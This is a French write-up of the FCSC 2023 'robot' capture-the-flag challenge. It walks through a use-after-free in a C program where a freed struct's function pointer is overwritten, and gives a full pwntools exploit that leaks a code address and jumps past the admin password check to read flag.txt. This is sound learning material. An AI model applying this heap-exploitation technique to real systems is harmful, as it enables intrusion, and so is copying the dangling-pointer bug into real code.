11 minutes
🇫🇷 FCSC 2023 - pwn/robot
Note
robot était un challenge de pwn issu du FCSC 2023. Globalement un très bon challenge, et surtout une très bonne initiation à l’exploitation heap puisque je n’en avais jamais fait !
Description
La startup _FunWithRobots & Co._ souhaite proposer un service interactif, qui tourne sur un serveur distant et qui simule un robot avec beaucoup de réalisme.
Mais la veille de l'inauguration, le chef de projet se souvient d'une vague mention concernant des exigences de sécurité...
Comme vous êtes la personne chargée de la sécurité, il a besoin de votre validation.
Selon lui, cela n'est qu'une simple formalité car le code a été relu par leurs meilleurs développeurs et le binaire s'exécute avec toutes les protections classiques (canaris, W^X, ASLR, etc.).
Vérifiez s'il est possible de lire le fichier `flag.txt` qui se trouve sur le serveur distant.
Analyse du fichier
On peut commencer par regarder rapidement à quoi on s’attaque grâce aux commandes file et checksec:
file robot && checksec robot
robot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1bb8d94563bab30f6fe505e4a7220d51f68c5aa, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
On voit donc qu’on va s’attaquer à un ELF en 64 bits protégé par toutes les protections (comme dit dans la desc).
On va le run pour avoir une idée de ce qu’il fait:
On a plusieurs options, mais on peut les rassembler en 3 catégories:
- Les options 1 et 4 vont a priori nous permettre d’allouer des chunks (via malloc) pour créer le robot et le mode d’emploi
- Les options 2 et 5 vont afficher le contenu d’un chunk qu’on aura crée au préalable, ça nous sera probablement utile pour leak des adresses
- Les options 3 et 6 vont respectivement nous permettre de supprimer un chunk (via free) et d’appeller la fonction
admin
Maintenant qu’on sait ça, on va regarder un peu le code source pour tenter de trouver une vuln et de vérifier nos hypothèses:
#include "openssl/sha.h"
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#define TIMEOUT 120 // in seconds
char encrypted[] = "8f75456b574439e191ae14f3e95a80a881a7216c2ac69b9c342aa62f8a048e0e";
struct Robot {
char name[16];
void (*makeNoise)();
void (*move)();
};
struct RobotUserGuide {
char guide[32];
};
void
timeout(int sig)
{
exit(EXIT_FAILURE);
}
void bleep(struct Robot *d)
{
for (int i=0; i<3; i++) {
puts ("Bip !");
usleep (500000);
}
printf ("La discussion avec %s est un peu ennuyeuse...\n", d->name);
}
void roll(struct Robot *d)
{
printf ("%s se déplace en grinçant !\n", d->name);
}
void* newRobot(char *s)
{
printf ("Vous construisez un nouveau robot. %s est un très joli nom pour un robot !\n", s);
struct Robot *newrobot = malloc (sizeof(struct Robot));
strncpy (newrobot->name, s, 15);
newrobot->makeNoise = bleep;
newrobot->move = roll;
return (void*) newrobot;
}
void admin(char *pwd)
{
unsigned char hash[SHA256_DIGEST_LENGTH];
char result[65];
SHA256((const unsigned char *) pwd, strlen(pwd), hash);
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
sprintf(result + (i * 2), "%02x", hash[i]);
}
if (strcmp(result, encrypted) == 0) {
execl("/bin/cat", "/bin/cat", "flag.txt", NULL);
perror("execl");
exit(2);
} else {
puts("ERROR: wrong password!");
}
}
int main()
{
struct Robot *robot = NULL;
struct RobotUserGuide *userGuide = NULL;
char ordre = -1;
char input[64] = {0};
// Install challenge timeout
signal(SIGALRM, timeout);
alarm(TIMEOUT);
while (1) {
/* Menu */
puts ("Que faites-vous ?");
puts ("1: Construire un robot\t\t4: Rédiger le mode d'emploi");
puts ("2: Le faire parler\t\t5: Afficher le mode d'emploi");
puts ("3: Jouer avec le robot\t\t6: Admin");
puts ("0: Quitter");
printf ("> ");
/* Ordre */
ordre = (char) getc (stdin);
if (ordre == '\n')
continue;
getc (stdin); /* Enlève \n */
/* Exécution de l'ordre */
switch (ordre) {
case '1':
printf ("Comment vous l'appelez ?\n> ");
fgets (input, 64, stdin);
for (int i=0; i<64; i++) {
if (input[i] == '\n')
input[i] = 0;
}
robot = newRobot(input);
break;
case '2':
if (robot)
robot->makeNoise(robot);
else
puts ("Vous n'avez pas de robot !");
break;
case '3':
if (robot) {
printf ("Vous allumez le robot. ");
robot->move(robot);
printf ("De la fumée commence à apparaître, puis des étincelles... %s prend feu !!!\n", robot->name);
printf ("%s est complètement détruit\n", robot->name);
free (robot);
} else {
puts ("Vous n'avez pas de robot !");
}
break;
case '4':
userGuide = malloc (sizeof (struct RobotUserGuide));
printf ("Vous commencez à rédiger le mode d'emploi...\n> ");
fgets (userGuide->guide, 32, stdin);
break;
case '5':
if (userGuide) {
for (int i=0; i<32; i++) {
char c = userGuide->guide[i];
putchar (c);
}
fflush (stdout);
} else {
puts ("Il n'y a pas de mode d'emploi");
}
break;
case '6':
printf ("Enter admin password\n> ");
fgets (input, 64, stdin);
for (int i=0; i<64; i++) {
if (input[i] == '\n')
input[i] = 0;
}
admin (input);
break;
case '0':
puts ("Au revoir !");
exit (0);
break;
default:
puts ("Commande non reconnue");
break;
}
putchar ('\n');
}
return 0;
}
On va commencer par regarder les deux Struct, on a donc une Struct “Robot” qui contient une variable name de 16 chars, et deux fonctions makeNoise
et move
.
On a ensuite “RobotUserGuide” qui ne contient qu’une variable guide de 32 chars.
Globalement, les hypothèses sur les actions des options étaient bonnes, à un petit détail près: la vulnérabilité se situe dans l’une d’entre elle, plus précisément l’option 3
case '3':
if (robot) {
printf ("Vous allumez le robot. ");
robot->move(robot);
printf ("De la fumée commence à apparaître, puis des étincelles... %s prend feu !!!\n", robot->name);
printf ("%s est complètement détruit\n", robot->name);
free (robot);
} else {
puts ("Vous n'avez pas de robot !");
}
break;
On voit qu’elle va print du texte (plus ou moins inutile), appeller la fonction move
de la struct “Robot”, en ensuite free le chunk. On remarque qu’il ne supprime pas le pointeur, une fois que le robot est “cassé”, il existe toujours un pointeur vers le chunk qui a été free() et le contenu du chunk sera toujours existant.
C’est ici un cas assez classique de Use-After-Free (UAF). Il faut maintenant trouver un moyen de leak des valeurs de la heap.
On peut commencer par regarder le chunk dans pwndbg
. On lance le programme puis on crée un robot avec n’importe quel nom:
Maintenant, on fait CTRL+C pour interrompre le programme et pouvoir inspecter la heap. On va utiliser la commande vis et chercher notre chunk.
Juste avant le Top chunk, on voit notre Robot, qu’on reconnaît graĉe au “ChatGPT” (le nom donné au robot). On peut donc aussi voir que le chunk ne contient pas seulement le nom du robot, deux autres adresses s’y trouvent - on va voir à quoi elles correspondent.
Il s’agit des deux fonctions de la Struct ajoutées au moment où on crée notre Robot. Ce sont ces adresses que nous voulont leak.
Pour le faire, les options 4 et 5 vont nous être utiles. L’option 4 nous permet de malloc un chunk d’une taille de 32, et puisque nous savons que nous avons un Use-After-Free, ce chunk prendra la place dans l’ancien chunk Robot si le robot est détruit avant la création du manuel. Enfin, on pourra lire le manuel avec l’option 5, et puisque cette option lit 32 chars, elle va aussi lire les deux adresses qui étaient présentes après le nom du robot.
TLDR: Leak
- Créer un robot (malloc)
- Jouer avec le robot (free)
- Créer un manuel (malloc)
- Lire le manuel (UAF)
Avec ça, on aura donc les adresses des fonctions bleep et roll. Commençons notre exploit:
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./robot")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("challenges.france-cybersecurity-challenge.fr", 2101)
return r
def construire(name):
print("construire("+str(name)+")")
r.sendline(b'1')
r.recv()
r.sendline(name)
r.recv()
def parler():
print("parler()")
r.sendline(b'2')
return r.recv()
def supprimer():
print("supprimer()")
r.sendline(b'3')
r.recv()
def mode_emploi(text):
print("mode_emploi("+str(text)+")")
r.sendline(b'4')
r.recv()
r.sendline(text)
r.recv()
def manuel():
print('manuel()')
r.sendline(b'5')
return r.recv().split(b'\n')[1]
def main():
global r
r = conn()
construire(b'A'*16)
supprimer()
mode_emploi(b'A'*16)
leak = manuel()
roll = u64(leak[leak.index(b'\xfc'):].ljust(8, b'\x00'))
print("roll @", hex(roll))
On commence par créer quelques fonctions qui nous facilitent la communication avec l’executable, puis on récupère le leak dans une variable. On peut vérifier le bon fonctionnement du script avec pwndbg
:
Le script crée un robot avec un nom de 16 chars, le détruit, puis crée un mode d’emploi de 16 chars (pour ne pas réecrire les adresses des variables), et lis le manuel pour avoir les leaks. On voit que l’adresse affichée est bien celle de la fonction roll.
En faisant cette fonction, on comprend quelle est la deuxième partie de l’exploit: réecrire la valeur d’une fonction pour l’appeller et obtenir le flag. Mais alors, quelle fonction de la struct réecrire, et par quoi?
L’option 2 nous permet de “faire parler le robot”, concrètement, elle appelle la fonction makeNoise
, ce serait donc un bon candidat à réecrire puisqu’il ne se passe rien de plus dans cette option.
Maintenant que nous savons quelle fonction réecrire, par quoi pouvons-nous la réecrire ?
La fonction admin
contient un appel à /bin/cat flag.txt
mais elle semble protégée par un mot de passe… ou l’est-elle réellement ? Puisque nous connaissons l’adresse de roll, rien ne nous oblige à réecrire makeNoise
par l’adresse de admin
, nous pouvons très bien la réecrire par une adresse plus loin dans admin
, de préférence après la vérification du mot de passe.
On peut faire ceci avec pwndbg
et notre leak de tout à l’heure, on va commencer par désassembler la fonction admin
pour savoir où jump:
disass admin
Dump of assembler code for function admin:
0x000055a4252b13d7 <+0>: push rbp
0x000055a4252b13d8 <+1>: mov rbp,rsp
0x000055a4252b13db <+4>: sub rsp,0x90
0x000055a4252b13e2 <+11>: mov QWORD PTR [rbp-0x88],rdi
0x000055a4252b13e9 <+18>: mov rax,QWORD PTR fs:0x28
0x000055a4252b13f2 <+27>: mov QWORD PTR [rbp-0x8],rax
0x000055a4252b13f6 <+31>: xor eax,eax
0x000055a4252b13f8 <+33>: mov rax,QWORD PTR [rbp-0x88]
0x000055a4252b13ff <+40>: mov rdi,rax
0x000055a4252b1402 <+43>: call 0x55a4252b10c0 <strlen@plt>
0x000055a4252b1407 <+48>: mov rcx,rax
0x000055a4252b140a <+51>: lea rdx,[rbp-0x70]
0x000055a4252b140e <+55>: mov rax,QWORD PTR [rbp-0x88]
0x000055a4252b1415 <+62>: mov rsi,rcx
0x000055a4252b1418 <+65>: mov rdi,rax
0x000055a4252b141b <+68>: call 0x55a4252b1090 <SHA256@plt>
0x000055a4252b1420 <+73>: mov DWORD PTR [rbp-0x74],0x0
0x000055a4252b1427 <+80>: jmp 0x55a4252b145f <admin+136>
0x000055a4252b1429 <+82>: mov eax,DWORD PTR [rbp-0x74]
0x000055a4252b142c <+85>: cdqe
0x000055a4252b142e <+87>: movzx eax,BYTE PTR [rbp+rax*1-0x70]
0x000055a4252b1433 <+92>: movzx eax,al
0x000055a4252b1436 <+95>: mov edx,DWORD PTR [rbp-0x74]
0x000055a4252b1439 <+98>: add edx,edx
0x000055a4252b143b <+100>: movsxd rdx,edx
0x000055a4252b143e <+103>: lea rcx,[rbp-0x50]
0x000055a4252b1442 <+107>: add rcx,rdx
0x000055a4252b1445 <+110>: mov edx,eax
0x000055a4252b1447 <+112>: lea rsi,[rip+0xc5f] # 0x55a4252b20ad
0x000055a4252b144e <+119>: mov rdi,rcx
0x000055a4252b1451 <+122>: mov eax,0x0
0x000055a4252b1456 <+127>: call 0x55a4252b10d0 <sprintf@plt>
0x000055a4252b145b <+132>: add DWORD PTR [rbp-0x74],0x1
0x000055a4252b145f <+136>: cmp DWORD PTR [rbp-0x74],0x1f
0x000055a4252b1463 <+140>: jle 0x55a4252b1429 <admin+82>
0x000055a4252b1465 <+142>: lea rax,[rbp-0x50]
0x000055a4252b1469 <+146>: lea rsi,[rip+0x2bb0] # 0x55a4252b4020 <encrypted>
0x000055a4252b1470 <+153>: mov rdi,rax
0x000055a4252b1473 <+156>: call 0x55a4252b1120 <strcmp@plt>
0x000055a4252b1478 <+161>: test eax,eax
0x000055a4252b147a <+163>: jne 0x55a4252b14b6 <admin+223>
0x000055a4252b147c <+165>: mov ecx,0x0
0x000055a4252b1481 <+170>: lea rdx,[rip+0xc2a] # 0x55a4252b20b2
0x000055a4252b1488 <+177>: lea rsi,[rip+0xc2c] # 0x55a4252b20bb
0x000055a4252b148f <+184>: lea rdi,[rip+0xc25] # 0x55a4252b20bb
0x000055a4252b1496 <+191>: mov eax,0x0
0x000055a4252b149b <+196>: call 0x55a4252b1070 <execl@plt>
0x000055a4252b14a0 <+201>: lea rdi,[rip+0xc1d] # 0x55a4252b20c4
0x000055a4252b14a7 <+208>: call 0x55a4252b1140 <perror@plt>
0x000055a4252b14ac <+213>: mov edi,0x2
0x000055a4252b14b1 <+218>: call 0x55a4252b1050 <exit@plt>
0x000055a4252b14b6 <+223>: lea rdi,[rip+0xc0d] # 0x55a4252b20ca
0x000055a4252b14bd <+230>: call 0x55a4252b1040 <puts@plt>
0x000055a4252b14c2 <+235>: nop
0x000055a4252b14c3 <+236>: mov rax,QWORD PTR [rbp-0x8]
0x000055a4252b14c7 <+240>: sub rax,QWORD PTR fs:0x28
0x000055a4252b14d0 <+249>: je 0x55a4252b14d7 <admin+256>
0x000055a4252b14d2 <+251>: call 0x55a4252b1110 <__stack_chk_fail@plt>
0x000055a4252b14d7 <+256>: leave
0x000055a4252b14d8 <+257>: ret
End of assembler dump.
L’instruction jne
située à +163
est une condition, probablement celle qui compare notre input avec le mot de passe, nous voulons donc arriver juste après cette condition, soit à +165
. Pour calculer la différence entre les deux, il suffit de prendre l’adresse de cette instruction et d’y soustraire l’adresse de roll
print 0x000055a4252b147c-0x55a4252b12fc
$5 = 384
Une fois qu’on a notre leak, il nous suffit donc d’y ajouter 384
pour trouver l’adresse de admin+165
.
Il ne nous reste plus qu’à créer un manuel avec 16 chars, puis l’adresse de admin+165
pour réecrire makeNoise
dans la Struct “Robot”
TLDR
- Créer un robot (malloc)
- Jouer avec le robot (free)
- Créer un manuel (malloc)
- Lire le manuel (UAF/leaks)
- Calculer la différence entre roll et
admin+165
- Créer un robot (malloc)
- Jouer avec le robot (free)
- Créer un manuel de 16 caractères suivis de l’adresse de
admin+165
(malloc/bleep overwrite) - Faire parler le robot (call
admin+165
)
Exploit
Et voici donc l’exploit final:
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./robot")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("challenges.france-cybersecurity-challenge.fr", 2101)
return r
def construire(name):
print("construire("+str(name)+")")
r.sendline(b'1')
r.recv()
r.sendline(name)
r.recv()
def parler():
print("parler()")
r.sendline(b'2')
return r.recv()
def supprimer():
print("supprimer()")
r.sendline(b'3')
r.recv()
def mode_emploi(text):
print("mode_emploi("+str(text)+")")
r.sendline(b'4')
r.recv()
r.sendline(text)
r.recv()
def manuel():
print('manuel()')
r.sendline(b'5')
return r.recv().split(b'\n')[1]
def main():
global r
r = conn()
# robot = malloc()
construire(b'A'*16)
# free(robot)
supprimer()
# manuel = malloc()
mode_emploi(b'A'*16)
# manuel->guide
leak = manuel()
roll = u64(leak[leak.index(b'\xfc'):].ljust(8, b'\x00'))
print("roll @", hex(roll))
flag = roll + 384
print("flag @", hex(flag))
# robot = malloc()
construire(b'A'*16)
# free(robot)
supprimer()
# manuel = malloc()
mode_emploi(b'A'*16 + p64(flag))
# robot->makeNoise
print("Flag:", parler().replace(b"\n", b"").decode('utf-8'))
#r.interactive()
if __name__ == "__main__":
main()
Conclusion
Pour un premier challenge de heap de ma vie, j’ai appris énormément de choses, c’était super intéressant !
Si j’ai fait des erreurs n’hésitez pas à me contacter sur discord (disponible sur la page About)